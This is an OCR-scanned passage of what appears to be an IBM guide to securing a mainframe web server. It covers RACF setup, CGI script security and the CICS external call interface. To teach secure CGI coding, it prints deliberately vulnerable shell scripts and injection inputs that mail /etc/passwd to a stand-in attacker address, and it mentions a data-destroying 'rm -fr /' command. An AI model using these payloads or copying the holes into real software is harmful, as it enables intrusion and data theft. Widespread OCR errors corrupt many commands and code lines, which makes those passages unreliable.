takes the group name from the DELTGRP operand as the default 
password. The password can be changed by a job as depicted below. 

//jobname J05 ' accounting information' ,\iSER=\iE5SR\l, 

II PASSWORD(oZd _passwordlnewpassword) 

//STEPl EXEC PGM=IEFBR14 
//SYSPRINT DO SYS0UT=* 

Assign a user ID to the daemon. 

A user ID needs to be assigned to the Internet Connection Server for 
MVS/ESA. The OS/390 Internet BonusPak assumes that you are using a 
user ID WEBSRV. This user ID is created in the previous step. For the 
IMWEBSRV cataloged procedure to obtain control with the desired user 
identity, you must add an entry to the RACE started procedure table. This 
can be done through a entry in the module ICHRIN03 or through an entry 
in the RACF STARTED class. 

The following entry defines the user ID and group ID that the IMWEBSRV 
address space will be assigned: 

DC CL8' IMWEBSRV' PROCEDURE NAME 

DC CL8'WEBSRV' USERID (ANY RACE-DEFINED USER ID) 

DC CL8' IMWEB' ' GROUP NAME OR BLANKS FOR USER' S DEFAULT GROUP 

DC XLI'OO' NOT TRUSTED 

DC XL7'00' RESERVED 

Or you can use the following RACF command to define a profile in the 
STARTED class: 

RDEFINE STARTED IMWEBSRV.* 

STDATA(USER(WEBSRV) GROUP(IMWEB) PRIVILEGED(NO) TRUSTED(NO) TRACE(NO)) 


Allow the daemon to change the identity of the process. 

Define the BPX.DAEMON facility class profile by using the following RACF 
command: 

RDEFINE FACILITY BPX.DAEMON UACC(NONE) 

The user ID that is assigned to the daemon should be given READ access 
by using the following command: 



PERMIT BPX.DAEMON CLASS(FACILITY) ID(WEBSRV) ACCESS(READ) 

SETROPTS RACLIST(FACILTY) REFRESH 

Also, you must turn on program control and indicate that the Internet 
Connection Server for MVS/ESA and the C RTL LOADLIBs are trusted 
programs. 


Prevent your daemon from unauthorized modifications. 

In order to ensure that a known and trusted load module is executed when 
the Internet Connection Server for MVS/ESA is started, RACF program 
control should be activated. 

You protect individual load modules (programs) by creating a profile for 
the program in the PROGRAM general resource class. A program 
protected by a profile in the PROGRAM class is called a controlled 
program. 

To activate program control and to identify programs as controlled, use 
the following RACF commands: 

• To activate program control 
SETROPTS WHEN(PROGRAM) 

• To prevent a user from modifying programs. 

ADDSD 'CEE.V1R5M0.SCEERUN' UACC(READ) 

ADDSD ' IMW.VIRIMO.IMWMODI' UACC(READ) 

ADDSD 'SYSl.LINKLIB' UACC(READ) 

• To mark the C run-time library as a controlled library. (Every user on 
the system can execute programs from the C run-time library.) 

RDEFINE PROGRAM * ADDMEM('CEE. V1R5M0.SCEERUN'/ voZser/NOPADCHK) 
UACC(READ) 

• To mark the load library that contains the Internet Connection Server 
for MVS/ESA load module (daemon) as controlled. 

RDEFINE PROGRAM * ADDMEM('IMW.VIRIMO'/ voZser/NOPADCHK) UACC(READ) 

• To mark the SYS1.LINKLIB as a controlled library. 

RDEFINE PROGRAM * ADDMEM('SYSl.LINKLIB'/ voZser/NOPADCHK) UACC(READ) 

• To put the new PROGRAM profile in storage. 

SETROPTS WHEN(PROGRAM) REFRESH 

Set the Sticky Bit for the daemon module in the HFS 

The “Sticky Bit” needs to be set to enforce OS/390 OpenEdition to use the 
standard MVS program search while calling this program. This prevents 
OS/390 OpenEdition from loading the daemon module from a HFS file. 
(Programs executed from OS/390 OpenEdition files bypass MVS contents 
supervision.) 


8 


Allow the daemon to use surrogate support 


Define the BPX.SERVER facility class profile by using the following 
command: 

RDEFINE FACILITY BPX.SERVER UACC(NONE) 
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The user ID that is assigned to the daemon shouid be given UPDATE 
access by using the foiiowing command: 

PERMIT BPX.SERVER CLASS(FACILITY) ID(WEBSRV) ACCESS(UPDATE) 

SETROPTS RACLIST(FACILTY) REFRESH 

Aiso, you must turn on program control and indicate that the internet 
Connection Server for MVS/ESA and the C RTL LOADLIBs are trusted 
programs. 

Note: If this is the first FACILITY class profile that the installation has 
defined, activate the FACILITY class with the SETROPTS command. Enter 
the following commands to activate this class. 

SETROPTS CLASSACT(FACILITY) GENERIC(FACILITY) AUDIT(FACILITY) 

SETROPTS RACLIST(FACILITY) 

Set up the surrogate environment. 

The Internet Connection Server for MVS/ESA frequently needs to process 
requests from users who do not have user IDs on the MVS system running 
this Web server. The identify change facility that is controlled by the 
FACILITY class profile BPX.DAEMON cannot be used in this case. Instead, 
the Internet Connection Server for MVS/ESA uses surrogate OpenEdition 
MVS user IDs to access resources for these requests. 

The following steps are provided as an example for your daemon that has 
the user ID WEBSRV assigned to it. The following RACF commands 
should be executed. 

a. Activate the RACF SURROGAT class. 

SETROPTS CLASSACT(SURROGAT) 

b. Define the user ID, group ID and SURROGAT class profiles for each 
surrogate user ID that will be used in your installation. 

ADDGROUP EXTERNAL SUPGROUP(siypgroi/p) 0MVS(GID(999) 

ADDGROUP EMPLOYEE SUPGROUP(si/pgroi/p) 0MVS(GID(500) 

ADDGROUP SPECIAL SUPGROUP(si/pgroi/p) 0MVS(GID(255) 

ADDUSER PUBLIC DFTGRP(EXTERNAL) 

0MVS(UID(998(H0MEr/') PR0G('/bin/sh')) 

ADDUSER INTERNAL DFTGRP(EMPLOYEE) 

0MVS(UID(537(H0ME('/') PR0G('/bin/sh')) 

ADDUSER PRIVATE DFTGRP(SPECIAL) 

0MVS(UID(4I6(H0MEr/') PR0G('/bin/sh')) 

RDEFINE SURROGAT BPX.SRV.WEBADM UACC(NONE) 

RDEFINE SURROGAT BPX.SRV.PUBLIC UACC(NONE) 

RDEFINE SURROGAT BPX.SRV.INTERNAL UACC(NONE) 

RDEFINE SURROGAT BPX.SRV.PRIVATE UACC(NONE) 

c. Permit the daemon with user ID WEBSRV to create security 
environments using these surrogate user IDs. 

PERMIT BPX.SRV.WEBADM CLASS(SURROGAT) ID(WEBSRV) ACCESS(READ) 
PERMIT BPX.SRV.PUBLIC CLASS(SURROGAT) ID(WEBSRV) ACCESS(READ) 
PERMIT BPX.SRV.INTERNAL CLASS(SURROGAT) ID(WEBSRV) ACCESS(READ) 
PERMIT BPX.SRV.PRIVATE CLASS(SURROGAT) ID(WEBSRV) ACCESS(READ) 

d. Refresh in-storage profiles for the SURROGAT class. 
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SETROPTS RACLIST(SURROGAT) REFRESH 

An install job (IMVSECUP) is provided with the OS/390 Internet BonusPak 
that defines the desoribed profiles. 


Verify the permission bits in the HFS. 

An install job (IMVJOWSE) is provided with the OS/390 Internet BonusPak 
that changes ownership of all shipped files to local Web administrator. 
The UID and GID are those of the Web administrator and the server GID. 


/* 

/* THIS REXX EXEC MUST BE RUN FROM A USERID THAT HAS A UID(O) 
/* /usr/lpp/internet must be mounted 

/* 

/* INITIAL SETTINGS: 

/* - $root = /usr/lpp/internet 

/* - ch_uid = 206 (the id of the administrator) 

/* - ch_gid = 205 (the group of the administrator) 

/* 


*/ 

*/ 

*/ 

*/ 

*/ 

*/ 

*/ 

*/ 

*/ 
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Chapter 6. Protecting the Common Gateway Interface 


The World Wide Web can be considered to be a large database of interlinked 
documents that clients navigate around using hypertext links. This basic 
scenario provides a powerful medium for users to access data. However, 
without extra functionality, users will not consider it to be fully interactive. This 
interaction is currently provided by the use of forms and CGI (Common Gateway 
Interface) scripts. New developments (such as Java), are being developed that 
add to this functionality. 

Forms, therefore, are a basic way for the Web server to retrieve information from 
clients. This information is then processed by a CGI script. More information on 
this can be seen in 6.1, “Common Gateway Interface.” 

The form consists of a normal HTML page which contains special forms tags that 
provide entry fields, push buttons, radio button, etc., as well as details of the CGI 
script to be invoked. 


6.1 Common Gateway Interface 

As discussed in 1.2.3, “Two-Way Traffic” on page 8, CGI (Common Gateway 
Interface) scripts can be used by forms to process data entered by the client. 
They can also be used to dynamically generate HTML pages which can then be 
displayed by the Web server. 

The Internet Connection Server for MVS/ESA User's Guide contains a chapter 
that explains how and where you can use CGI scripts. 

The OS/390 Internet BonusPak provides some sample forms that are written in a 
number of different languages. By providing some simple examples, we have 
tried to make the writing of CGI scripts easier to understand. 

The sample form described in the OS/390 Internet BonusPak: Page Management 
Guide includes a CGI program written in both REXX and Perl. The examples that 
are included in this OS/390 Internet BonusPak should help you feel comfortable 
in writing your own CGI in either language. 

Often, useful CGI samples are available over the Internet, most of which are 
written in Perl (an interpretive language that started out on UNIX). Even though 
a Perl interpreter is available on OpenEdition MVS, most mainframe users will 
be more familiar with REXX, therefore we have tried to show that converting 
from one language to another is not that difficult. 


6.2 CGI Script Locations 

With the right exec statements in the httpd configuration file, the CGI scripts may 
be located anywhere on the system. You can also set up the server so that it 
recognizes files whose names end in *.cgi as CGI scripts. 

However, we strongly suggest you do not do this. It is very hard to keep track of 
CGI scripts that are scattered all over the file system. Having them all in one 
cgf-bin directory makes it much easier to monitor them. 
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One can use the audit subsystem that is described in Chapter 9, “Auditing Your 
Internet Connection Server for MVS/ESA” on page 109 to trace write access to 
them or to the cgi-bin directory. 

In addition, the CGI scripts shouid not be accessibie in the httpd's data 
directories. This wouid aiiow anyone to get the scripts for anaiysis. 


6.3 Writing Secure CGI Scripts 

When written without proper precautions, CGI scripts can execute unauthorized 
commands on the server. The probiem arises because users can enter any kind 
of data into forms that are processed by CGI scripts, if this data is passed on 
unchecked to other commands, there is a chance that the data itseif might be 
interpreted as commands. 

Typicaiiy the eval sheii command, systemO and popen() C iibrary cails as weii as 
the systemO, open() and exec() Peri iibrary calis are vuinerabie to this type of 
attack on AIX or OpenEdition MVS. 

In addition, harmiess iooking commands such as mail can have escape 
mechanisms that are easy to expioit. 

OpenEdition MVS has the same C iibrary caiis, and the REXX INTERPRET 
command performs the same function as eval in AiX or OpenEdition MVS. It is 
tempting to think that the impact of misuse of these functions is smaiier in 
Internet Connection Server for MVS/ESA because it is based on security that is 
provided by MVS integrity and an externai security product, such as Resource 
Access Controi Faciiity. However, an expert couid probabiy do as much damage 
to a MVS Web server by expioiting a badiy-designed CGI program as to any 
other platform that is running a Web server. Furthermore, the lack of auditing 
would make such an attack more difficult to detect. 


6.4 Examples of CGI Programming Problems 

The following example CGI scripts show three problems when using the Korn 
shell to program CGI scripts. Although they were written for AIX, they illustrate 
the general problem. They are not meant as real examples. 

6.4.1 CGI Example: Use of the eval Command 

The script in Figure 16 on page 79 does not do anything useful; it just runs the 
echo command. However, any other command could be substituted; for example, 
to run a telephone directory search. 
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#!/usr/bin/ksh 

PATH=/usr/1pp/internet/server_root/cgi-bin:/usr/bin 

echo "Content-type: text/html\n\n" 
echo "<HTML>" 

echo "<HEAD><TITLE>Phonebook Search results</TITLE></HEAD>" 
echo "<B0DY>" 
echo "<p>" 

eval $(cgiparse -form) 
echo "<pre>" 

eval /usr/bin/echo $FORM_query 
echo "</pre>" 

echo "</B0DY></HTML>" 


Figure 16. bad-form-2 Script to Show a Loophole in the CGt Process 

Figure 17 shows a corresponding HTML form that would invoke the bad-form-2 
script. 


<HTML> 

<TITLE>Form/CGI Shell Test 2</TITLE> 

<B0DY> 

<P> 

<h2>Check the Phone book</h2> 

<form method="POST" action="/cgi-bin/bad-form-2"> 

<p> 

<pre> 

Search for: <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="80"> 
</pre> 

<p> 

<INPUT TYPE="submit"> 

</form> 

</body> 

</HTML> 


Figure 17. HTML Form to Invoke Script bad-form-2 

The flaw in the script lies in the fact that it runs the command, not directly, but 
by using the eval command. The eval command is a very useful utility that tells 
the command shell to interpret this string in the usual way and then execute the 
results. It is useful because often you do not have all the information necessary 
to construct a command directly, so you first need to run a command to 
construct the command that you really want to run. 

If the user enters the string 

foobar ; mail evi1.guy0bad.address < /etc/passwd 

the password file will get mailed to the E-mail address specified. The eval 
statement will evaluate its command line in exactly the way the shell would 
evaluate it. The character is a command separator. This will lead to two 
commands being executed. One could also use the character and it would 
have the same effect. Sending /etc/passwd is not as serious in AIX as it sounds, 
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since the real password file is shadowed and only the root ID has access. 
However, an attacker could turn really nasty and try a command such as rm -fr 
/ instead, or something similar. Depending on the setup of the system, the 
script can do quite a bit of damage even on an otherwise secure system. 

Although this example looks like nonsense, the mechanisms used here are the 
focal point. There are occasionally good reasons to use eval to get the data 
back into the shell and not only to stdout. By using eval and not first checking 
the contents of the data, it is very easy for the user to give the script an 
additional command to execute. 

The eval statement in the shell is a common shell programming technique, 
although it does not always have such a drastic result. Using popen() or 
systemO in a C or Perl program will have exactly the same effect, and REXX on 
OS/2 has the INTERPRET command which may be misused in exactly the same 
way. 

6.4.2 CGI Example: Weakness in Called Programs 

Apart from having to worry about the misuse of statements within a CGI script, 
you also need to know all the details of programs called from a CGI script. If 
data is passed to another command that has escape mechanisms, then those 
mechanisms should be disabled or the data must be checked before it is passed 
to the command. 

For example the standard UNIX mail command will allow the execution of other 
programs through the ~ ! sequence at the beginning of a line. The CGI script in 
Figure 18 may be abused by an attacker to exploit this mechanism. 


#!/usr/bin/ksh 

eval $(/usr/1pp/internet/server_root/cgi-bin/cgiparse -form) 

echo "Content-type: text/html" 
echo "" 
echo "<HTML>" 

echo "<HEAD><TITLE>Order confirmation</TITLE></HEAD>" 
echo "<B0DY>" 

echo "<Hl>Thank you for ordering $F0RM_qty $F0RM_item</Hl>" 

echo "<pre>" 

echo "</body> </html>" 

mail -s "Order received" orders@somewhere.com «EOF 

Received an order 

$FORM_name 

$FORM_surname 

$FORM_item 

$FORM_qty 

$FORM_comment 

EOF 


Figure 18. bad-form-1 Script to Show a Loophole in the CGI Process 

Figure 19 on page 81 shows a typical HTML form that could be used to invoke 
this script. 
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The bad-form-l script passes form data unchecked to the body of a mail 
message. All that an attacker has to do is type something like the following into 
any of the form fields: 

~ Imail evil.guyPbad.address < /etc/passwd 

and again the /etc/passwd file has been stolen. You may think that this example 
is very trivial, but you will find similar examples in many Web sites, and even in 
HTML guide books. 

On AIX 4.1.4, the shell escape should no longer work when the mail command is 
executed in a pipe. The principal problem still persists though; you should not 
pass unchecked data to commands that have escape mechanisms. 


<HTML> 

<TITLE>Frobnotz Ordering</TITLE> 

<body> 

<P> 

<h2>Please fill out the order form</h2> 

<form method="POST" action='7cgi-bin/bad-form-T'> 

<p> 

<pre> 

Your Name: <INPUT TYPE="text" NAME="nanie" SIZE="20" MAXLENGTH="30"> 

Your Surname: <INPUT TYPE="text" NAME="surname" SIZE="20" MAXLENGTH="30"> 
</pre> 

<p> 

<dl> 

<dt>What would you like to order? 

<dd><INPUT TYPE="radio" NAME="item" VALUE="FreshFrobnotz">Fresh frobnotz 
<dd><INPUT TYPE="radio" NAME="item" VALUE="AgedFrobnotz">Aged frobnotz 
<dd><INPUT TYPE="radio" NAME="item" VALUE="FreshDingbats">Fresh dingbats 
<dd><INPUT TYPE="radio" NAME="item" VALUE="AgedDingbats">Aged dingbats 
</dl> 

<pre> 

Quantity <INPUT TYPE="text" NAME="qty" SIZE="5" MAXLENGTH="5"> 

</pre> 

<p> 

<pre> 

Additional comments: 

</pre> 

<INPUT TYPE="text" NAHE="comment" SIZE="40" MAXLENGTH='T00"> 

<p> 

<INPUT TYPE="submit"> 

</form> 

</body> 

</HTML> 


Figure 19. HTML Form to Invoke CGI Script bad-form-1 


6.4.3 CGI Example: You Cannot Rely On Your Own Forms Being Used 

The above examples used invalidated user data in places where it should not be 
used. Clearly you should perform data validation within the CGI script. One 
thing you should not do is rely on the HTML form that invokes the script to 
restrict data content. 

For example, you may have a field in your form that is a set of radio buttons. 

You might reasonably assume in your CGI script that the field can only have the 
values you defined in the form. However, the URL for a script may be invoked 
from a form on any Web server, so someone could substitute any kind of data 
entry field for the radio buttons. 
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Another trick that is often used te pass static data to a CGI script is to use a 
hidden fieid en your form. This may simpiy be a way te set up static variabies 
ter a generai-purpose CGI script to use, or it may be used to pass data from one 
CGI script te ancther. That is, script A generates a piece of data and then writes 
its output as an HTML form, which inciudes the data in a hidden fieid. The user 
filis in this second form and seiects Submit, thereby invoking script B. Script B 
now has access to the data from the screen as weli as the data that script A 
generated. 

Hidden fieids used in this way sheuid be vaiidated at each stage, even if you 
think they have just been created by your own CGI script. A script can be cailed 
frem any form, even from other servers, so anyone can write a form that triggers 
your scripts, and pass whatever data they like. 

For exampie iet's assume your script contains the foiiowing iine: 

<input type="hidden" name="MyAddress" VALUE="me0home.domain"> 

This hidden data contains the E-maii address that the CGI program will use to 
send a message to you when a user enters some interesting data. For example 
it might include the follewing piece of C code (this is only a fragment): 

sprintf(buf,"/usr/sbin/sendmai1 -t %s < %s",FORM_MyAddress,SomeInputFile); 
systeni(buf); 

What happens if semeone uses a changed form as input to your script? For 
example: 

<input type="hidden" name="MyAddress" 

VALUE="me@home.domain ; mail evi1.guy&atsign.bad.address < /etc/passwd "> 

The command line passed to the system call will run two commands, the second 
one with rather vicious motives. 


6.5 CGI Exposures in Summary 

The above examples have been constructed for this document. But they are just 
simplified examples of bad CGI programming techniques that have been feund 
on production Web servers on the Internet. We strongly suggest you analyze 
every CGI script on the server fer possible weaknesses such as the ones 
described above. 

You should never impert CGI scripts from some unchecked seurce just because 
they fit your current needs. Make sure you understand them and all their 
security implicaticns completely before using them. 

It is usually easier to write CGI scripts with shells or interpreters like Perl or 
REXX, but using compiled C language scripts will typically have less security 
problems. Apart from the popen() and system() subreutines, there are not as 
many potential trouble spots in data interpretation when using compiled 
programs as there are in interpreted scripts. The only C specific problem that 
stands out is that of buffer overruns. There have been several incidents en the 
net where everrunning input buffers ef C pregrams caused the system te execute 
code that was imported by overrunning the buffer. Although that type ef attack is 
very operating system and hardware specific, there were cases ef autematic 
break-in kits fer some specific architectures. 
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Having an interpreter that aiiews iow ievei system access (such as Peri) on a 
security criticai system makes it much easier to expioit otherwise iess 
accessibie hoies. 


6.6 Sample CGI Script to Access CICS Transactions 

At the time this beok is written, the CiCS interface from a CGi script was not 
avaiiabie for testing. Oniy high-ievei pregramming specifications couid be used 
to describe the future CiCS interface from a CGi program. 

The CGi program wiii use the CiCS EXternai Caii interface (EXCi) to drive CiCS 
programs using CiCS Distributed Program Link to pass the program data in a 
CiCS Commarea. The CGi wiii drive the standard EXCi C ianguage sampie 
program which is documented in CICS V4.1 External CICS Interface. 

A short introduction to the various components is provided in the foiiowing 
topics. The security features of this interface are aiso introduced. 

6.6.1 CICS External Call Interface 

The externai CiCS interface is an appiication programming interface that enabies 
a non-CiCS program, for exampie, a CGi program running in MVS, to caii a 
program running in a CiCS/ESA 4.1 region and to pass and receive data by 
means of a communication area. The CiCS appiication program is invoked as if 
iinked-to by another CiCS appiication program. 

This programming interface aiiows a user to aiiocate and open sessions (or 
pipes) to a CiCS region, and to pass distributed program iink (DPL) requests 
over them. 

The muitiregion operation (MRO) faciiity of the CiCS interregien cemmunication 
(iRC) faciiity supports these requests, and each pipe maps onto one MRO 
session, with a iimit of 25 pipes per EXCi address space. 

A pipe is a one-way communication path between a sending process and a 
receiving process, in an externai CiCS interface impiementation, each pipe 
maps onto one MRO session, where the ciient program represents the sending 
process and the CiCS server region represents the receiving process. 

Uniess the CiCS regien is running in a syspiex under MVS/ESA 5.1 and therefore 
abie to use cress-system MRO (XCF/MRO), the ciient program and the CiCS 
server region (the region where the server program runs or is defined) must be 
in the same MVS image. Aithough the externai CiCS interface does net support 
the cross-memory access method, it can use the XCF access method provided 
by XCF/MRO in CiCS/ESA 4.1. See the CICS/ESA Intercommunication Guide for 
information about XCF/MRO. 

A ciient program that uses the externai CiCS interface can operate muitipie 
sessions for different users (either under the same or separate TCBs) aii 
coexisting in the same MVS address space without knowiedge of, or interference 
from, each other. 

Where a ciient program attaches another ciient program, the attached program 
runs under its own TCB. 
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6.6.2 The programming interfaces 

The external CICS interface provides two forms of programming interface: the 
EXCI CALL interface and the EXEC CICS interface. Refer to Figure 20. 


CICS 



Figure 20. External CICS Interface Illustrated 

The EXCI CALL interface consists of six commands that allow you to: 

• Allocate and open sessions to a CICS system from non-CICS programs 
running under MVS/ESA 

• Issue DPL requests on these sessions from the non-CICS programs 

• Close and deallocate the sessions on completion of the DPL requests. 

The six EXCI commands are: 

• lnitialize_Llser 

• Allocate_Pipe 

• OpenPipe 

• DPL call 

• Close_Pipe 

• Deallocate_Pipe 

The EXEC CICS interface provides a single, composite command EXEC CICS LINK 
PROGRAM that performs all six commands of the EXCI CALL interface in one 
invocation. 

This command takes the same form as the distributed program link command of 
the CICS command-level application programming interface. 

A CICS server program invoked by an external CICS interface request is 
restricted to the DPL subset of the CICS application programming interface. This 
subset (the DPL subset) of the API commands is the same as for a CICS-to-CICS 
server program. 

Refer to CICS/ESA Application Programming Guide for details of the DPL subset 
for server programs. 

You can use both the CALL interface (all six commands) and the EXEC CICS 
LINK command in the same program, to perform separate requests. As a 
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general rule, It Is unlikely that you would want to do this In a production 
program. Each form of the external CICS Interface has Its particular benefits. 

6.6.3 Illustrations of the External CICS CALL Interface 

The diagram in Figure 21 illustrates the external CICS interface using the EXCI 
CALL interface. 


HTTP Server 



Client application 


lnitialize_User 

L i DPL Request and Data 

Open_Pipe ' 

DPL call 

Close_Pipe 

Deallocate_Pipe 


Multiple sessions for 
different users 


CICS Server 
Region 



Figure 21. EXCI CALL Interface Illustrated 

The EXCI commands invoke the external CICS Interface through an application 
programming stub provided by CICS, called DFHXCSTB. This stub must be 
Included when you lInk-edit your non-CICS program. 

A short Introduction of each of the commands, and the security related Items, 
follows. 

lnitialize_User 

Initialize the user environment, including obtaining authority to use IRC 
facilities. The environment is created for the lifetime of the TCB, so the 
command needs to be issued only once per user per TCB. Further 
commands from this user must be Issued under the same TCB. 

A user Is a program that has issued an lnitialize_User request (or for which 
an lnitialize_User request has been issued), with a unique name per TCB. 
For example: 

• A simple client program running under MVS can be a single user of the 
external CICS interface. 

• A client program running under MVS can open several pipes and issue 
external CICS interface calls over them sequentially, on behalf of 
different callers. In this case, from the viewpoint of the client program, 
each of the callers Is a user. Identified by a unique user name. Thus a 
single client program can operate on behalf of multiple users. 

• A program running under MVS can attach several TCBs, under each of 
which a caller Issues external CICS interface calls on Its own behalf. 
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Each package is a client program in its own right, and runs under its 
own TCB. Each is also a user, with a unique user name. 

user_name is an input area holding a name that identifies the user of the 
external CICS interface. Generally, this is the client program. If this user 
is to use a specific pipe, then the value in user_name must match that of 
the NETNAME attribute of the CONNECTION definition for the specific pipe. 

Allocate_Pipe 

Allocate a single session, or pipe, to a CICS region. This command does 
not connect the client program to a CICS region; this happens on the 
Open_Pipe command. You can allocate up to 25 pipes in an EXCI address 
space. 

user_token contains a 1-word token returned on the lnitialize_User 
command. 

CICS_applicl is an 8-byte input area containing the generic applid of the 
CICS system to which the allocated session is to be connected. 

Open_Pipe 

Cause IRC to connect an allocated pipe to a receive session of the 
appropriate connection defined in the CICS region named either on the 
Allocate_Pipe command, or in DFHXCURM. The appropriate connection is 
either: 

• The EXCI connection with a NETNAME value equal to the user_name 
parameter on the lnitialize_User command (that is, you are using a 
specific connection, dedicated to this client program), 

• The EXCI connection defined as generic. 

This command should be used only when there is a DPL call ready to be 
issued to the CICS system. When not in use, EXCI sessions should not be 
left open. 

If sessions are left open, CICS may not be able to shut its IRC facility in an 
orderly manner. A normal shutdown of CICS waits if any EXCI sessions are 
not closed. 

user_token is the 1-word token returned on the lnitialize_User command. 

pipe_token is a 1-word output area containing the token passed by CICS on 
the Allocate_Pipe command. It represents the pipe being opened on this 
command. 

DPL_Request 

Issue a distributed program link request across an open pipe connected to 
the CICS system on which the server (or target) application program 
resides. The command is synchronous, and the TCB waits for a response 
from CICS. Once a pipe is opened, any number of DPL requests can be 
issued before the pipe is closed. To the server program, the link request 
appears just like a standard EXEC CICS LINK request from another CICS 
region, and it is not aware that it is sent from a non-CICS client program 
using EXCI. Figure 22 on page 87 depicts the DPL Call function. 
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Figure 22. The DPL_Call Function 

user_token is a 1-word input area specifying the user token returned to the 
ciient program on the lnitiaiize_User command. 

pipe_token is a 1-word input area specifying the token returned by EXCI on 
the Aliocate_Pipe command. It represents the pipe being used for the 
DPL Request cail. 

pgmname is the 8-character name of the CICS appiication program being 
caiied as the server program. This is either the name as specified on a 
predefined PROGRAM resource definition instalied in the CICS server 
region, or as it is known to a user-written autoinstaii program if the 
program is to be autoinstailed. The program can be defined in the CiCS 
server region as a iocai program, or it can be defined as remote. 

Programs defined as remote enabie "daisy-chaining", where EXCI-CICS 
DPL caiis become EXCI-CICS-CICS DPL caiis. 

commarea is a variabie iength input area for the communications area 
(COMMAREA) between the ciient and server programs. The iength is 
defined by COMMAREA_ien. 

This is the storage area that contains the data to be sent to the CICS 
application program. This area is aiso used to receive the updated 
COMMAREA from the CICS application program (the server program). 

This parameter is optional. If it is not required, you must ensure that the 
CALL parameter list contains a null address for this parameter. How you 
do this depends on the language you are using for the non-CICS client 
program. 

commareajen is a full-word binary input area. This parameter specifies 
the length of the COMMAREA. It is also the length of the server program's 
COMMAREA. 

If you specify a COMMAREA, you must also specify this parameter to 
define the length. 

user ID is an 8-character input area containing the RACE user ID for user 
security checking in the CICS region. The external CICS interface passes 
this user ID to the CICS server region for user resource and command 
security checking in the server application program. 
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A user ID is required only If the MRO connection specifies the 
ATTACHSEC(IDENTIFY) attribute. If the connection specifies 
ATTACHSEC(LOCAL), the CICS server region applies link security checking. 
Refer to CICS/ESA CICS-RACF Security Guide for information about link 
security on MRO connections. 

See also 6.6.4, “External CICS Interface Security” on page 89 for 
information about external CICS Interface security considerations. 

This parameter is optional. However, If you don't specify a user ID, the 
external CICS interface passes the security user ID under which the client 
program is running. For example. If the client program Is running as an 
MVS batch job, the external CICS Interface obtains and passes the user ID 
specified on the USER parameter of the JOB statement. 

If you want to let user ID default, you must ensure that the CALL parameter 
list contains a null address for this parameter. How you do this depends 
on the language you are using for the non-CICS client program. 

dpi_retarea is a 12-byte output area into which the DPL_Request processor 
places responses to the DPL request. Generally, these responses are from 
CICS, but in some cases the error detection occurs in the external CICS 
interface, which returns exception conditions that are the equivalent of 
those returned by an EXEC CICS LINK command. 

Close_Pipe 

Disconnect an open pipe from CICS. The pipe remains in an allocated 
state, and its tokens remain valid for use by the same user. To reuse a 
closed pipe, the client program must first reissue an Open_Pipe command 
using the pipe token returned on the Allocate_Pipe command for the pipe. 
Pipes should not be left open when not in use because this prevents CICS 
from shutting down its IRC facility in an orderly manner. Therefore, the 
Close_Pipe command should be issued as soon as possible after all 
DPL Request calls have completed. 

user_token is the 1-word input area specifying the token, returned to the 
client program by EXCI on the lnitialize_User command, that represents the 
user of the pipe being closed. 

pipe_token is a 1-word input area specifying the token, returned to the 
client program by EXCI on the original Allocate_Pipe command, that 
represents the pipe being closed. 

Deallocate_Pipe 

Deallocate a pipe from CICS. On completion of this command, the pipe can 
no longer be used, and its associated tokens are invalid. This command 
should be issued for pipes that are no longer required. This command 
frees storage associated with the pipe. 

user_token is a 1-word input area containing the token returned on the 
lnitialize_User command. 

pipe_token is a 1-word input area containing the token passed back on the 
original Allocate_Pipe command, that represents the pipe now being 
deallocated. 
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6.6.4 External CICS Interface Security 

GIGS applies security checks in a number of ways against requests received 
from an MVS client program. These are described in the following topics: 

• MRO logon and connect security, performed by DFHIRP 

• Link security, performed by the GIGS server region 

• User security checking in the server application program 

6.6.4.1 MRO logon and bind-time security 

DFHIRP, the GIGS interregion communication program, performs two security 
checks against users that want to: 

• Logon to IRP (speoific connections only) 

• Gonnect to a GIGS region 

The discussion about logon seourity checking in this topic applies only to EXGI 
connections that are defined as SPEGIFIG. The MRO logon security checks is not 
performed for generic connections. 

The MVS client program is treated just the same as another GIGS region as far 
as MRO logon and connect (bind-time) security checking is concerned. This 
means that when the client program logs on to the interregion communication 
program, IRP performs logon and bind-time seourity checks against the user ID 
under which the client program is running. In the remainder of this topic, we 
refer to this as the batch region's user ID. 

To enable your client program to logon successfully to IRP, and to connect to the 
target server region, you must ensure that: 

1. The batch region's user ID is defined as a user profile to RAGF. 

2. The batch region's user ID is authorized to its own 

DFHAPPL.bafc/7_user_name RAGF FAGILITY class profile(s), with UPDATE 
authority. 

See 6.6.4.2, “Defining DFHAPPL FAGILITY Glass Profiles For an EXGI Region” 
on page 90 for information about FAGILITY class profiles for a client 
program. 

3. The batch region's user ID is authorized to the DFHAPPL.app//c/ RAGF 
FAGILITY olass profile of the target GIGS server region, with READ authority. 

Failure to authorize the batch region's user ID to its own 

DFHAPPL.bafc/7_user_name profile causes Allocate_Pipe processing to fail with 
RESPONSE(SYSTEM_ERROR) REASON(IRG_LOGON_FAILURE). The subreason 
field-1 for a bind-time security check failure returns decimal 204. 

Failure to authorize the batch region's user ID to the GIGS server region's 
DFHAPPL.app//c/ profile causes Open_Pipe processing to fail with 
RESPONSE(SYSTEM_ERROR) REASON(IRG_GONNEGT_FAILURE). The 
subreason field-1 for a bind-time security check failure returns decimal 176. 

See the CICS/ESA CICS-RACF Security Guide for information about the MRO 
logon and bind-time security checks, and for examples of how to define the 
RAGF DFHAPPL profiles. 
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6.6.4.2 Defining DFHAPPL FACILITY Class Profiles For an EXCI 
Region 

You must define the batch_user_name part ef the DFHAPPL profile name as 
follows: 

• For the EXCI CALL interface, the batch_user_name must be the name you 
specify on the user_name parameter of the lnitialize_Llser command. 

You must define FACILITY class profiles, with apprepriate authorizations, for 
each user name specified in a client program if the program has 
lnitialize_Llser commands for more than ene user name. 

• Fcr the EXEC CICS LINK command, the batch_user_name is preset by the 
external CICS interface as DFHXCEIP. 

If you have a client program that uses both the EXCI CALL interface and the 
EXEC CICS LINK command, you must define FACILITY class DFHAPPL profiles 
fcr both forms of the interface. 

6.6.4.3 Link security 

The target CICS server region performs link security checking against requests 
from the client program. These security checks cover transacticn attach security 
(when attaching the mirror transaction), and resource and cemmand security 
checking within the server application program. The link user ID that CICS uses 
fcr these security checks is the batch region's user ID. 

To ensure these link security checks do not cause security failures, you must 
ensure that the link user ID is authorized tc the fcllowing resource prefiles, as 
appropriate: 

• The profile for the mirrer transacticn, either CSMI fcr the default or the 
mirrer transacticn specified on the transid parameter. This is required for 
transaction attach security checking. 

• The profiles for all the resources accessed by the CICS server application 
program; files, queues (transient data and temperary stcrage), programs, 
